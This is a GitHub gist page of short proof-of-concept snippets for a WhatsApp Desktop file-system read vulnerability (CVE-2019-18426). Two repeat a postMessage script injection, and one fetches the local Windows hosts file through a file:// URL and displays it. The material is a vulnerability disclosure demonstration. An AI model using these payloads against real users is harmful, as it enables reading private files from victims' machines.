Skip to content

Instantly share code, notes, and snippets.

@galpx
galpx / 8.js
Created August 11, 2020 10:06
WhatsApp FS read vuln post CVE-2019-18426
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
@galpx
galpx / 8.html
Created August 11, 2020 10:07
WhatsApp FS read vuln post CVE-2019-18426
<html>
<head></head>
<body>
<script>
top.postMessage(
JSON.stringify(
"open('https://facebook.com');
alert('external payload');"
),
"*");
@galpx
galpx / 9.js
Created August 11, 2020 10:07
WhatsApp FS read vuln post CVE-2019-18426
alert(navigator.userAgent);
(async function(){
// read "file:///C:/Windows/System32/drivers/etc/hosts" content
const r = await fetch('file:///C:/Windows/System32/drivers/etc/hosts);
const t = await r.text();
alert(t)
}())